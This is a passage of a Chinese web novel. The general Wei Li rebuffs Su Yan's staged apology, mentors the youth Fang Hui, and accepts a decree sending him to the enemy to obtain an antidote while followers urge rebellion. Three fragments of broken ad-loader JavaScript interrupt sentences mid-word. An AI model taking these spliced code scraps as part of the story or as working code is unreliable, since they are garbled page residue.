府里的魏离正搬了把竹躺椅在院子里,躺在桂花树下,闻着花香晒太阳。金灿灿的阳光透过金灿灿的桂花,铺洒在魏离阖着的眼皮上,随意散落在脑后的发丝被轻轻地镀上一层金光。 这座房子,就是魏离当年跟着孔啼奇练武的时候,孔啼奇怕被别人发现,特意买的小院,魏离当年正是把郁恒京撵上这棵桂花树之时,发现的郁恒星装瘸。 这小院里倒是什么都没改动过,连当年练拳用的木桩、练剑用的靶子都还保留在原位。 李倓越看着小院子里这一片岁月静好的模样,犹豫了两下,才小声开口,“将军,还要继续往潭郡送粮食吗?” “送,一直送到来年开春。”魏离睁开眼,将搭在腹部的书籍重新拿到手里,一双眼睛带着点惺忪的朦胧,静静地瞥向他。 这一瞥让李倓越浑身一下僵硬起来,他第一次明白自家老婆平日让人念的那些酸溜溜的话本里写的,“惊鸿一瞥,此生难忘”是什么感觉。 “刚才苏延来过了?”魏离坐起身来,一头长发散在耳边,被阳光熏出些淡淡的暖色来。 “是、是的。”李倓越不知怎么的,被他的目光看得有些紧张,“我给他骂回去了,没让他进来。” “我知道了,这几日练兵情况如何了?” “还算不错,都能排出几个能看的阵法了。”那些阵法是魏离根据之前的兵书重新研究出来的,没经过实战,过段时日会将将士们一分为二进行对立练习。 “辛苦你了。”魏离点点头,“明日苏延还会来的,让大家都来看他表演吧,成日在军营里闷着,也有些乏味。” ———— 第二日天还没亮,苏延就效仿人家廉颇大将,被着不知道哪折来的一捆荆条,光着膀子跪在魏离家门口。 此时街市还不算太热闹,只有那些早开摊子的小贩在收拾着自己的摊位,也没多少人花那时间去注意他。 等到魏离真正被外头嘈杂的声响吵醒的时候,天已经完全亮了,人也在外面跪了一个时辰。 苏延的膝盖疼的厉害,以往被父亲罚跪时,母亲会给他在衣服里面偷偷塞自己做的小垫子,在家跪的也是绣了花样的蒲团,他可从未受过这种哭苦。 他明明记得,魏离在京城的时候,很早就会起来侍弄花草、出门买早点的,怎么他跪了这么久,也不见魏离人影? 天色一亮,各家的下人婢女都出门采买,该上田去的百姓也来来往往地经过这,不断有各种各样的细碎声响传入他的耳朵,实在是……太令人窒息了。 他觉得那些听不清的细碎声响,每一句都是在议论自己。 “哎呦,苏大少爷今天这么早啊?”魏离没等到,苏延又见着了昨日带头骂他的将领,那将领今日没有披袍戴甲,是普通武夫的装束,不过那表情,倒还是跟昨日一样。 他不认识李倓越,不明白为什么李倓越要为难自己。 “啊,你们看看,他还学人家廉颇将军,负荆请罪!哈哈哈哈哈哈哈!也不撒泡尿看看自己是个什么德行,就算你不自己带着荆条,我家将军也能抽的你找不着北!”李倓越一笑,他身边跟着的乌泱泱一大片将士们也跟着笑起来。 “就是,将军倒是和蔺公一样大人有大量,这苏大公子,不知道能不能像廉颇将军一样知错就改啊?” “哪能啊!他怕是被上头的大官压来的!我听说他们家还派人刺杀将军好几次呢!” “哎呦,又是刺杀又是教唆公主逃婚的,这还有脸来道歉啊?” “冰释前嫌?我呸!” 在他们七嘴八舌的议论声吸引下,周围的百姓又慢慢聚起来了,“这人谁啊,怎么跪在魏将军门口?” “我昨天听在酒楼里吃饭的军爷们说,这是京城那什么苏家的大公子。” “我也听说了,我儿子昨天给军营送完皂角回来告诉我的,说魏将军先前回京是要尚公主的,据说有能铺满整个京城的聘礼赏赐,但是被这个不知道从哪冒出来的苏公子截了。” “那他岂不是驸马?” “哪能啊,听说陛下很喜欢我们将军,差点被气昏过去,当下就罚了公主和这个苏公子,到现在都没有赐婚的意思。” “诶哟,他这不是耽误人吗,给人家姑娘的婚事搅黄了,还受罚,结果人家现在嫁谁都不是。” “可不是吗!” “听说他是记恨将军之前连中三元,顶了他家给他内定的名额,私底下经常欺负将军!” 苏延的脸色发青,不知道这些事情是这么传到云城这边的,云郡这边虽然比不上京城天气凉,但如今深秋,也算不上暖和,他在这跪了好一段时间,手臂上的肌肉都要僵了,如今一听这些话,差点背过气去。 “我家将军不会见你的,当初他在御前替你和清阳乡君求过情了,才免了你的罪,如今还得寸进尺想要他原谅你?你得多大的面子啊?”虽然魏离没告诉过李倓越前因后果,但李倓越是国公府的亲戚啊,八卦听得最全。 “我是真心希望魏……平宁侯原谅我的,是我不辨礼义廉耻,听信小人谗言,一时被迷了心智,才做出如此……如此令人不齿的行为!我今日来到侯爷门前,负荆请罪,在下品性卑劣,万不敢将自己比作老将廉颇,只求侯爷一句原谅,让我能解心中之愧!”苏延咬咬牙,将打好的腹稿铿锵有力地念出来,一字一句都砸到周围的人心上,纵然是报臂站在门前的李倓越也一时找不出话来。 好像……还挺诚心的?周遭百姓的议论声都小了不少,难道是有人在京城替魏将军为难他了? “讲的得跟真的一样……”他小声嘀咕着靠在紧闭的门上,也不好说什么,张张嘴说不出话,又闭上。 正在李倓越对着苏延翻白眼之时,身后的门突然打开,他身形不稳向后倒下,正跌入一个充满桂花香气的怀抱。 还带点甜气,好熟悉,他想着。 “下次不要靠在门上,不安全。”魏离将他扶稳,一双带着些睡意的眼眸在看到围在自家门口的大批百姓之时,稍微清醒了些,低头看向正跪在地上有些发抖的苏延,“苏公子从京城到这来败坏我的名声,也是煞费苦心。” “我从那日起从未将事情怪罪在你和清阳乡君身上,否则也不会向陛下求情。不为我留下的,我自然也不会为它神伤。苏公子来到云城两 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 日,都是在我门前求我的原谅,可我何时,不原谅你呢?”魏离轻轻地叹了一口气,“我知道京城的官场多弯绕,但我不是那样的人,苏公子可以放心,我心里从未记恨过你,你且放宽心,回京去找太子殿下复命吧。” “我就说将军乃是大丈夫,怎么可能为难人……” “是啊是啊。” “将军说太子殿下诶,不会是这个苏公子在京城受了气,来这找将军吧?” “有可能,不是说他官职被罢免了吗?会不会是找将军去和陛下说好话的?” 人群的议论声又重新大起来,字字传入苏延的耳朵里,他抬头看着魏离,魏离站在高处,身影逆光,看不清楚表情,他颤声开口,“能不能劳烦侯爷,为我写一封书信,证明您已经原谅我了,否则太子殿下不会放过烟儿的。” 苏延这一番来,大张旗鼓在魏离门前闹,就是为的卖惨,让百姓逼着魏离原谅他,谁能想得到魏离会说什么“从未记恨过”?是个正常人,在他家做了这么多破事的情况下,都不可能不记恨吧? “诶,你这东西,怎么还得寸进尺?”李倓越一听,这暴脾气就上来了,“还要书信,要不要老子陪你去京城给你做人证啊?” “你这么在意苏烟罗?”魏离原本想出来把人打发走,再清清流言,没想到苏延这回,还是为的苏烟罗来,真是,泥菩萨过江还要捞一把蚂蚁。 “她是我的亲妹妹,我不能看着她在东宫被折磨死啊!”苏烟罗自从上回事情过后,就被太子关起来了,连一点消息都没漏出来,那个吃人的东宫里面,可全是盼着她死的女人,苏延怎么能不着急? “啊,那苏柳玉不也是你妹妹吗?难道她根本不是你亲妹妹?怎么她死的时候没见你这么着急?”魏离微笑着走下门前的石阶,他穿的是软底的布鞋,走起路来像猫一样,没有发出半点声音,在苏延回过神时,他已经站在面前了。 “我、我跟她都没见过几面,如何能比得上在我身边长大的烟儿?”苏延有些不敢直视魏离的眼睛,他确实从未在意过苏柳玉,只在她和太子的订婚宴上见过她,在葬礼时,她连棺材都没有。 可他说的也是实话,只见过一面的妹妹,怎么能比得上从小一起长大的妹妹? “没见过面就可以纵容你的好烟儿防火杀人?”魏离的眼睛很黑,亮晶晶的,像是在里面装满了星屑,深邃如夜空银河。 看得苏延有些心虚,“那都是谣言,烟儿连脚下的蚂蚁都要小心绕过,哪里会杀人!”他的心里是不相信苏烟罗是杀害苏柳玉的凶手的。 “看来我今天是叫不醒你这个装睡的人咯。”魏离轻轻俯下身,凑到他的耳边慢慢地帮他把身上系着荆条的麻绳解开,温柔地说出最诛心的话语,“其实呀,是你父亲派苏烟罗去害的苏柳玉,你父亲那夜溺毙,不是失足,是苏柳玉的亡魂作祟。” 荆条上的尖刺顺着苏延的背脊滑落,留下一道一道细小的伤痕,算不上痛,反倒有些麻痹了他的精神,他直愣愣地睁大自己的眼睛,望着已经起身的魏离,不明白什么是“亡魂作祟”,但听得清楚,魏离知道父亲是怎么死的。 魏离回望着他瞪得几乎要爆出来的眼睛,心下有些快意,笑着将他扶起来,将怀中的一枚玉佩递给他,“苏公子先回京吧,你只要将这个交给太子殿下,殿下就明白是什么意思了。” 苏延接过那枚玉佩,是上等的羊脂白玉,刻的是蟠龙纹饰。他本想追问明白什么是“苏柳玉的亡魂作祟”,可对上那双深邃漂亮的眸子,又说不出话来,只能从牙缝中挤出几个字,“谢侯爷。” “不必多礼,也是我离京的时候太过意气用事,没来得及处理好所有事情,还麻烦苏公子大老远跑这一趟。”魏离的嘴角微微扬起,“云城不是很欢迎苏公子,我也是。你不能既要我原谅你,又要我时刻想起你在大婚当日教唆我的未婚妻私奔。还请你体谅一下,未到万不得已,不要再出现在我面前了。” 苏延沉默了一会,缓缓吐出一个“好”字,攥着温热的玉佩,拎着那捆荆条,光着膀子,慢慢地从人群中穿过,背影满是落寞和忧伤。 “他听说不能再出现在将军面前,就高出这一副失魂落魄的样子,搞得别人还得以为将军把他甩了呢。”李倓越看着苏延那一副被欺负了的样子就来气。 “不必管他。”魏离懒得多看苏延一眼,招呼着门外堆着的将士们进屋,“我做了桂花糕,尝尝?” “原来将军让他跪了这么久,是在做给我们的桂花糕啊!”门外五大三粗的汉子们一窝蜂跟在魏离身后进了门,倒是李倓越落到了最后。 原来将军身上的桂花香是这么来的。 45.第 45 章 苏延走得很急,生怕在这云城多留一秒,魏离改了主意将玉佩收回去。 在他走后的第三天,一直浑身乌黑的鸟儿顺着还没散尽的桂花糖气落进了魏离的小院,占了小黄雀儿常休息的枝头,气的小黄雀直叫唤。 魏离抓了把小粟米,放在小黄雀常用的那个小杯子里,朝那只黑色的乌鸦招了招手,它歪了歪头,扇着比小黄雀大了两倍多的翅膀到了他的面前。 “李瀛已经很久没有派你来联系我了,这次又是什么事?”魏离又端了一小杯茶水来放在它的脑袋旁边,接着解下那卷在它脚边的纸条。 卞城的纸常用松木制成,自然的带有着一股边塞的寒苦清气。 魏离控制住手上的力度,轻轻展开那卷不足一指节长的纸条。 “金军再犯,金国皇子叫阵,望和先生决一死战,此战,至死方休。” 金国皇子?魏离在脑子里算不上多的金国人中勉强找出那个,沉没在昏昏沉沉的病时记忆里的叶轻天。那日他应该是伤了这个小皇子,可那也是对方先动的手,他只是物归原主,为此叫着“至死方休”? 魏离不理解,但尊重。 不过,他现在可是驻守云郡边境的主将,哪能像之前一样被李瀛一张小纸条叫走?怎么也得等文帝下旨意,不过,以文帝对周朝的重视程度,除非不得已,否则是不会将他轻易调走的。 这就要看叶轻天有什么本事能让文帝不得已下旨了。 一旁气不过啄了乌鸦几下的小黄雀儿见杯子里的粟米见底了,两下跳到魏离肩膀上,用自己柔软的羽毛蹭了蹭他的脖子。魏离笑笑,伸出手指碰了碰它的脑袋,又从粟米袋子里掏出一把小粟米放进杯子里。 小黄雀见杯子里的粟米又被添满了,将埋头苦吃的乌鸦撞了个趔趄,美滋滋的吃了起来。 魏离见乌鸦没有攻击小黄雀的意图,也就没有多管,自顾自进了屋,随意找了张边角料,提笔写下回信。 “守将不可擅自离守,且待陛下旨意。” 卞城的消息传到京城要近二十天,京城的旨意下达云城,又要近一个月,再加上文帝他们做决定的时间,也差不多四十来天。 他将写好的字条在乌鸦腿上系好,看着它重新飞上天空后,才将东西收拾好,拎起一早准备好的两大屉糕点茶水,关上大门,往军营的方向走去,他把房洄放在军营里也好几天了,答应了房漪,要好好照顾这个弟弟,还是趁着有时间,多看看他吧。 云城的军营比起卞城大了两三倍,这里先前是孔啼奇的驻地,他最重视将士们的居住条件和训练场地,他撤军之时走得急,也就什么都没带走,那些训练靶子道具,都便宜了魏离。 魏离六年前来过这,对这军营的一切都还算熟悉,当时是为了训练射术,跟着孔啼奇来到这个从未见过的大“园子”,还因为看不起郁恒京天天一脸臭屁,给他打了一顿,让他将苹果顶在脑门上,蒙着眼睛当靶子。 当然,他也不会真的对着郁恒京射箭,都是和郁恒星虚张声势。他在一边射靶子,郁恒星在蒙着眼睛的弟弟身边,将冷冰冰的箭矢快速擦过弟弟的手臂,吓唬他。 当年在这,过的还挺开心的,比在京城的时日开心多了。魏离踏着将士们操练的呼声,缓缓走进军营的大门,房洄正在离大门不远的操练场上,被夹在一群混战的将士们中间,挥舞着手臂试图保护好自己。 虽然演练时用的不是开刃的真刀真枪,可没开刃的兵器打在身上也很疼啊! 房洄好不容易从一群混战的人们中间脱身,又被卷入了另外一团人里,生无可恋地举起自己的武器。 “房洄。”魏离站在演武场边上,看见计划要被夹碎的少年,看着他张牙舞爪的样子,觉得有些好笑。 “先、先生!”这是来云城之后,房洄第一次看着魏离,他来这的第一天就被魏离送进来跟着士兵们一起训练,每日都要重复一遍这样的过程,虽然枯燥劳累,感觉自己毫无长进,但这是魏离让的,他也就忍了下来。 “都先休息会吧。”魏离招呼着还在人群里跟大家滚作一堆的李倓越,“这些你待会拿下去跟大家分一分,我房子那还有一些,你让人一起去抬回来分,每个人都有。” “是!将军!”李倓越不敢说魏离做的糕点是全大宁最好吃的,但在这云城,肯定没有哪家铺子比得过他,上回他偷偷夹带了两块回家给夫人吃,夫人说什么都要去见魏离,讨要秘诀,他好不容易才拦住。 魏离看着李倓越带着一群人浩浩汤汤地往营外走去,转身看向一身汗水,连碎发都牢牢黏在鬓角的房洄,“这几天感觉怎么样?” “唔……”房洄其实并不知道该怎么告诉魏离,他觉得自己什么都没有学到。 “什么都没有学到。你心里是这么想的吧?还怕我批评你,所以不敢开口说实话。”魏离伸手拍怕他的肩膀,又从演武场外围摆着的木凳子堆里拉了一条过来给他,“实话实说,我不会批评你的,因为这几天,本就不是让你学什么本事的。”要学本事,跟着自己直接上手更快。 “啊?”房洄不解地抬头看着他,“那先生让我来军营这几天,是为的什么?” “你想当将军吗?像孔啼奇那样的少年将军,一人可抵百万军。” “大将军他……真的能抵百万军吗?” “夸张的说法而已,但凭他的话,千军万马中取敌将首级,是没有问题的。”魏离看着他还在滴落汗水的发梢,想起了当初被孔啼奇放在军营里跟着新兵一起跑圈的日子。 微风吹落发梢的汗水,汗水滴落土地,激起一阵神秘的泥土气味。 “说起来,你们为什么还叫他大将军?他可是带着云城十六郡叛国了。” “大将军当年也和您一样,帮过潭郡,对我家有恩,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过那时的云郡还没改种蚕棉。当年他的女儿惨死的时候,满城的人都畏惧天家威严,是我大姨母替她敛的尸骨。”房家其实是不满文帝纵容女儿当街杀人的,更不满他的处理方式。 当年房家大女儿入宫得了机缘,封了个妃位,算不上宠眷一时,但也能顺利为文帝产下一对双胞胎小公主。文帝一开始是没有对房氏女为孔啼奇的女儿收敛尸骨这件事有什么意见的,但孔啼奇献城叛国,文帝大怒,将孔啼奇的女儿的尸骨又重新挖出来,挫骨扬灰,还赐了房氏女白绫一条、夺了房家的家财和官位。 不久后又因为后宫妃嫔喜蚕棉制成的衣物,文帝又下令要已经被孔啼奇带走一般的云郡,改种蚕棉,少了云郡这边的粮食购买渠道,潭郡变得更加艰难了。 不久后太子党羽掌握了潭郡的粮食购入通道,自此,潭郡再也无人能买到低价粮食。 所以房家对于帝皇家也算是积怨已久,不,应该说,整个潭郡的百姓,对于皇家都是积怨已久。 “我也叫他大将军。”魏离看着房洄眼中闪烁的光亮,有些感慨,少年人就是少年人,连眼睛都满是光芒。 “为什么?”房洄不解,他记得外头大部分人都叫孔啼奇贼首。 “因为我觉得他是个勇敢的大英雄。”没有像顾怀真一样,忍气吞声,这么多年来一直在想办法给女儿报仇。 魏离笑着看他,“很多人都跟我们一样,叫他大将军,这边的将士也是这么叫他的。”李倓越他们曾经跟过孔啼奇一段时间,也许是因为觉得孔啼奇的做法没错吧,也就不曾诋毁过他。 “我还以为大家都觉得他是叛徒呢。”房洄曾经和哥哥讨论过孔啼奇叛国的事情,虽然那个时候他还小,但他和哥哥都觉得,如果是自己,可能会选择带兵造反。 可惜了,房家世代从商,只有零星几个子弟当上了算不得大的文官,想造反也没办法。 “你在想什么?”魏离盯着他有些放空的眼神,朱唇轻启,将他心中所想轻轻地扬到了空气中,“想造反吗?” “没、没有!”房洄被魏离的话吓了个激灵,差点从椅子上蹦起来,“怎么会……” 怎么不会。潭郡已经好几年没人管过了,他家加上仆从,上百口人因为饥荒和瘟疫,如今死得只剩下他和哥哥。如果不是皇帝把孔啼奇逼得献城,把剩下的半个云郡的粮食田地全部征用来种什么蚕棉,潭郡哪里会是现在这副惨相! “我开玩笑的,你别紧张。”魏离看着他坐立不安的样子觉得有些好笑,“明日起你就跟着我吧,我教你些从别人那学不到的东西。” 房洄愣了好一会,才回过神,急急忙忙应道,“谢、谢先生!” 魏离看着少年因为激动而有些泛红的眼角,心里已经想好要用什么理由说服孔啼奇潜入大宁,替蓝即荧领兵了。 他应该会很高兴自己能亲手为女儿报仇吧? 46.第 46 章 文帝的旨意来得比魏离预计中的要晚许多,一直到元宵都过完了,那卷盖着金印的指令才送到他的面前。 明黄色镶着精细金丝的懿旨被远道而来的内侍交到魏离手上,那内侍宣读之前并不知晓自己手里这道懿旨的内容,如今读过了,浑身颤着抖得跟筛糠一般,生怕魏离不接这道懿旨,直接叫人过来把自己砍了。 这内侍来的时候,魏离正在军营里教房洄射箭,初春的料峭染在他的眉眼之上,凛冽的寒气萦绕在周围,没有人敢靠近。 “将、将军请接旨。”那内侍捧着懿旨站了好一会儿,发现魏离还是没有接过去,实在忍不住,先出声了。 “太后懿旨,在下怎敢不接。”魏离看向周围都停下手中训练的将士们,五大三粗的汉子们见自己偷偷瞥过来的眼神被发现了,又尴尬地躲闪回去,假装自己很忙地摆弄起手上的刀枪。 “只是,这何日启程去送死,太后娘娘也未曾在旨意中写明。”魏离的脸色很冷,看得一旁的房洄几乎以为他要对这个内侍动手了。 “这,这也不能算是去、去送死吧……”那内侍的声音越发没有底气。 “这还不算去送死?”魏离没有开口,倒是房洄先忍不住了,“太后娘娘宫宴、灯宴没想起我们家将军,到了陛下身中剧毒的时候,倒是想到了?那金国说是他们下的就是他们下的?还要拿将军去换解药?真是……”有够不要脸的。 照房洄来看,什么金国细作混入宫廷给陛下下毒,指不定是哪边受苦受难的百姓显灵了在诅咒他。 魏离拍了他的脑袋一下,“不得无理。宫中的太医也对陛下所中剧毒束手无策?” “太后娘娘说了,实在是一点办法也没有了,才求到将军头上的。”那内侍也忍不下去了,扑通一声跪下,眼泪都憋出来了,“这都是上头的人吩咐的,奴才也只是个传信的,您若是不满,还是另有打算,也请您怜悯奴才一回,等奴才回宫复了命再动作。” 也对,这云城如今留守三十万大军,云郡潭郡百姓对于魏离是信服得很,而且朝廷这几年也没干什么好事,要是他因此造反,那应该也算得上民心所向,房洄盯着地上将头都要埋进地里的内侍想着。 当年的孔啼奇也差不多是这种情形吧?也不知道当时他为什么不反。 “公公先请起吧,有劳公公跋山涉水为我送来这一卷文书,我明日便启程往卞城去。”魏离将内侍高举过头顶的懿旨接过来,亲手将他扶起来,“我习文十余载,中状元之日也不过一年前,左右也只是打过两地胜仗,仅收复十八座城池,自然是比不上陛下龙体尊贵。只是我这一去,大宁还有将可用否?” 当然是没有的。房洄不明白为什么不反,但他也没出声打断魏离。 “我今日应下这道旨意,此去必死无疑,还望陛下能再物色一名忠臣良将,善待这云郡守军。”魏离知道不远处的将士们还在侧耳偷听,勾唇一笑,“此去既是永别,今夜,我在此设宴,诸君为我送行。” “将军大义。”那内侍的眼泪真的落了下来,好人啊,没给自己砍了,上一个给孔啼奇宣旨的是他干爹,听说头直接在云城城楼上挂了七天七夜。 “你回去复命吧。” “谢将军。” 到了晚上,整个军营灯火通明,大家都听房洄讲明白了这道从京城来的旨意,刨去弯弯绕绕的官话,就是“陛下中毒,是金国奸细下的,金国将领说解药只能用魏离换,还得快,指不定什么时候会毒发。” “他们这也太阴险了吧?”李倓越边喝酒边骂着。 “我听说金国一直都是这样的,去年不是卞城告急吗?听说他们就是毒倒了两位将领才逼得我们将军带病上战场。” “不过得亏是我们将军,拿了那永安王的人头。” “他们会不会是想给永安王报仇啊?”房洄正坐在一群将士中间听他们讲话,他对魏离之前的事情不是很清楚,连云城十六郡是怎么打下来的都不知道。 “他奶奶的,金国那种使下作手段的都知道不能亏待军士,也不知道上面……”左先锋好像是有些醉了,还好一旁的李倓越捂嘴捂得及时,没让他嚷嚷出下半句话。 可即便他没说出来,大家也都明白他想说什么。 “没办法啊,谁让我们就生在这里呢?”房洄叹了口气,怎么就不造反呢?都要他的命了。 桌上一阵沉默,还是已经喝上头的左先锋先开口,他满面通红,眼里映着火光,“他们难道不知道将军这一去不是死也是……嗝……受辱吗?”他好不容易才重新遇到一个跟孔啼奇有几分相似的好将军,如今又是一样的命。 大家都没有接他的话茬,他们都明白这一去会遭遇什么。普通将领被俘尚且还能有喘息之机,但魏离先前杀了永安王啊!那是金国从无败绩的战神,在百姓之中威望极高,就算金国看中魏离的能力想要招安,百姓也不可能会同意的。 “多吃点菜,别一瓶酒就往嘴里干。”魏离不知道什么时候出现在左先锋身后,端了一大盆热气腾腾的白米饭,“不必担心我,我就算是死,也不会让金军好过的。” 你就没想过让狗皇帝不好过吗?房洄也有些醉了,直愣愣地盯着将饭放在桌上,换走空饭盆的魏离,不明白他都要去送死了,为什么还能这么冷静。 “少喝点,我走后你就回潭郡。”魏离临走前拍了拍少年的肩膀,“和你哥一起保护好潭郡。” 不拍倒好,这一拍把他眼泪都拍出来了,到底还是年纪小,房洄拽住魏离的袖口就不撒手,“我要跟你一起走!” “听话。”魏离使了些力气才把他的手掰开,“坐好,我去给别的桌添饭。” “不要!”房洄不停,站起身来,“我、我来帮你!” 魏离无奈地笑着带他去伙房,看着他憋着眼泪给将士们端饭。 等到魏离打完最后一盆大米饭时,从门口走进来的不止房洄一人,还有蓝即荧。 “先生!”蓝即荧看着魏离如旧的面庞,跟着一边还在掉眼泪的房洄一起红了眼眶。 “怎么了,见到我也要哭。”魏离在一旁的洗干净手,分别递给他俩帕子,“都擦擦吧,别人看到了还要以为我欺负了你们。” 等房洄擦干眼泪端着最后一盆饭出门后,魏离才跟蓝即荧开始交谈,“怎么你自己过来了,用的什么理由?” “我和太后说你于我有恩,我要来见你最后一面,她就同意了。”蓝即荧在京中消息灵通,在太后刚将懿旨送出城的时候就去求她了,太后也是被皇帝中毒的事情急得焦头烂额,没有多想就答应了,而太子还在观望看文帝什么时候死,自己好登基,也就没多做阻拦。 “即灵呢?” “我是带着姐姐一起来的,我先让她在客栈待着,我这次不打算回去了。”蓝即荧待着泪花的眼睛紧紧盯着魏离,“你别去卞城,我们一起造反。” “我离京前和你说过了,我有我自己的事情要完成,我必须死,而且我去了,你们也就更能顺理成章地起兵。” “可是你会死的啊。”送饭回来的房洄在门口不小心听见比自己大不了多少的蓝即荧说出“造反”两个字的时候忍不住点头,又听见魏离说什么“必须死”,手上的空饭盆都落到了地上。 魏离闭目,忘记出去说了,被人听见了。 “将军,我们一起造反吧,反正云郡潭郡这边都是你的人,潭郡那边你叫过去挖渠的不是普通百姓对吧?我知道那个老头子是谁,是前朝丞相对吧?我哥哥告诉我的。”房洄急得都有些语无伦次,“我们一起当皇帝,不是,我们一起打皇帝,反正他放任潭郡不管不问,大家都恨透他们了。” “这是……”蓝即荧被房洄的话惊得眼泪都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不掉了。 “他叫房洄,先前是潭郡当地的大家,如今就是他哥哥和你外祖父在潭郡治理民生。”魏离叹了口气,“我必须死,否则你们起义就是和我早有预谋。”太后当年组建的掌控流言的机构也不是白设的,民心是最具有变化性的东西,一点风吹出来都有可能改变。 而且大宁境内三块残骸他都已经收集齐了,得脱身去其他两个国家收集 ,只有集齐了,他才能真正的知道自己到底是个什么东西。 “可是、可是……”可是他们都不想魏离死啊! “如果你们因为我的死而哀伤,就为我报仇吧。”魏离看着两个眼泪落如珠串的少年,摸了摸两颗还没束冠的脑袋,“也许,老天爷看到你们的决心,为我而哀恸,免我一死。” ———— 李焕正在府里想着要怎么样才能在祖母的眼皮底下,送自己的亲亲好父皇快点去死,外头就传来了下人的呼唤声,“殿下,苏大公子来了。” “让他进来。” “是。” 苏延一身风尘仆仆,还未来得及回府换身行头,踏进京城就往东宫赶,到李焕面前时,他看见了李焕毫不掩饰的不屑和厌恶。 “别跪了,待会把本宫的狐毛毯子跪脏了,不好清洗。” 苏延僵硬地重新站直身体,将玉佩从怀中掏出来,递给一旁伺候的书童,低头盯着那块白净无暇的、不好清洗的白狐毛毯子,这毯子原先是他给烟儿的,出现在这,想必是烟儿送给了太子。 他等了一会,没听见李焕的反应,紧张地舔了舔寒风吹裂的嘴唇,因为一路上没有足够的盘缠,雇不起马车、住不起客栈,他也不愿意去和乞丐争地盘,一路走来,都是在野外露宿的,不只是嘴唇,手脚都生疮了,发痒得厉害,哪里还看得出一年前风风光光当翰林院编修的俊美青年模样。 李焕还没接过书童手中的玉佩,就一眼认出来,这是他当时送给魏离的那一块蟠龙玉佩,那样好的品相和雕工,天下仅此一块。 “魏离给你的?” “是。” “去把苏烟罗接走吧,另外给你一些钱财,算是你为我走这一趟的报酬,我会想办法复你的官的。” “谢殿下!”苏延刚想跪下,又想起李焕先前的话,僵硬地将自己的身子掰直,跟着书童出门去。 李焕手中握着那块白玉,看着苏延消瘦的背影,恍惚回到了初见魏离的时候,这魏离是要跟他一刀两断,各自干净,还是希望他当机立断,当这个新帝呢? 可无论是哪条路,魏离都是必死无疑的啊。 苏延跟着书童穿过东宫在寒春料峭中仍旧被下人侍弄得百花争妍的花园,在一整段弯弯绕绕之后,才见到了那间连窗户都没有的柴房。 “苏姑娘就在里面。” 苏延看着紧闭的破旧木门,颤抖着手接过书童递过来的钥匙,对了好几下都没能对准锁孔,好不容易将门打开了,外头的光线迅速地驱赶着里面的黑暗,他从小受尽宠爱的妹妹正衣衫破烂的缩在一堆烂柴边上,她的脚边正摆着一盘馊了的稀饭。 “烟儿……” 苏烟罗本已经完全不在乎这扇门什么时候会打开了,可当她听见哥哥颤抖的呼声时,还是忍不住心头一颤,落下泪来。 苏延赶忙上前去抱住她几乎瘦的只剩下骨头的躯体。 他颤抖着手将自己的外袍披在她身上,将她像小时候那样背在背上。 好凉。他想着,烟儿的身上真的太凉了,还好他来了,否则下次再见,就真的是生离死别。 好烫。烟儿的眼泪好烫,落在他的背上几乎要将他的皮肉烫穿,他还是来晚了,让她受了这么多苦。 滚烫的泪水落在他的背上,好似有火在烧,他不知怎么的,想起了死在火中的苏柳玉,她也是如此绝望可怜地在火中等着什么人来救她吗? 47.第 47 章 魏离是在春分那天到的卞城,李瀛亲自带着周聚周娥两兄妹出城迎接的他。 虽说南边已经算是暖春时节,但卞城还仍旧带着寒冬的余韵,只是雪融了罢了,因着冰雪消融而骤降的温度还未完全回升。 魏离坐在马背上,慢悠悠地往已经看得见些许轮廓的卞城城门去。城门口堆着许多人,李瀛并没有将之前守下卞城的功劳归居到自己身上,将魏离的事迹一一告知了卞城里好不容易归来的百姓们,他们很感激魏离,听说魏离今日会到达,一早就挤在城门口等着。 不过他并没有将魏离这次回到卞城的原因告诉百姓,还只是说,魏离是来领兵作战的。 李瀛在城门边看着那道立在马上的挺拔身影一点点靠近,又回头看见挤在城门边想要见一见魏离真面目的百姓们,心中的愧疚愈发沉重。 文上,魏离科考时作下的那几篇文章对于大宁的官宦结构改进有非常大的启发;武上,他守下卞城取了永安王首级,夺回云郡失地大败孔啼奇。于大宁,魏离是栋梁,于自己,魏离算救命恩人。李瀛看见那一如昨日的逐渐清晰的面庞,也有些不解,为什么他一向精明的祖母会做出这种决定,一旦被百姓知晓,那朝廷要在何处立足? “有劳王爷远迎。”魏离神色轻松地自从马背上下来,牵着缰绳,看着一时哽咽不知道该先说些什么的李瀛,“多日不见,王爷将这卞城管理得不错。” “先生……”李瀛看着他未曾被战场上风沙磨灭半分的书卷气息,又想起当日中秋灯会上,那攥了白玉佩上楼来的书生。 清阳先前来信过,说要见魏离最后一面,被李瀛回绝了。 “先生在云郡过得可还算好?”李瀛张着嘴,在脑子里搜刮了半晌,才勉强挤出一句话来。 “还不错,先进城吧。”魏离笑着摸了摸长了好大一截个子的周聚兄妹的脑袋,“你们觉得京城和卞城,哪个更好?” 周聚兄妹先前跟着蓝即荧回了京,还参与了魏离没能举办成功的婚宴,前两个月蓝即荧离京时怕他们两个小孩在京城遭遇什么危险,顺便派人把他们送回了卞城交给李瀛带。 在蓝即荧眼里,李瀛也算半个自己人,不过,也只能是半个了。 “京城,因为我喜欢灵儿姐姐。”周娥拽着魏离的袖子不放手,“小荧哥哥天天逼着我哥熬夜写大字,我不喜欢他。” “哥哥呢?”魏离跟在李瀛身后,一手牵一个小孩,在百姓们的拥簇之下往里走,隐约能听见些窃窃私语,议论着些“大英雄”之类的词句。 “我都喜欢,卞城不如京城繁华,但是清静,京城里,连空气中都是浮躁的。”周聚被魏离牵着手有些别扭,连父亲都没有牵过他的手。 “这样啊,那就再拜托殿下照顾你们一段时间吧。”魏离看着身前的背影有一瞬间的停顿,莞尔一笑,“我会给他相应的报酬的。” “不可以跟着你吗?”周聚抬头看他,小孩子纯净的眼睛里映照出蓝天的色彩,“小荧哥哥说我如果跟着你可以学到更多东西。”然后考试、进举、当大官,带着妹妹过好日子。 “我这段时间有些忙,明天就走了,下次再见面……陪你读书怎么样?” “可是他们说你明天就要死了。”周娥也跟着哥哥抬头看他,小女孩的眼睛里很空,好像透着魏离,看到了更远处的人。 “谁说的?我……”魏离很明显地听见周围的议论声在这一瞬间停歇了。 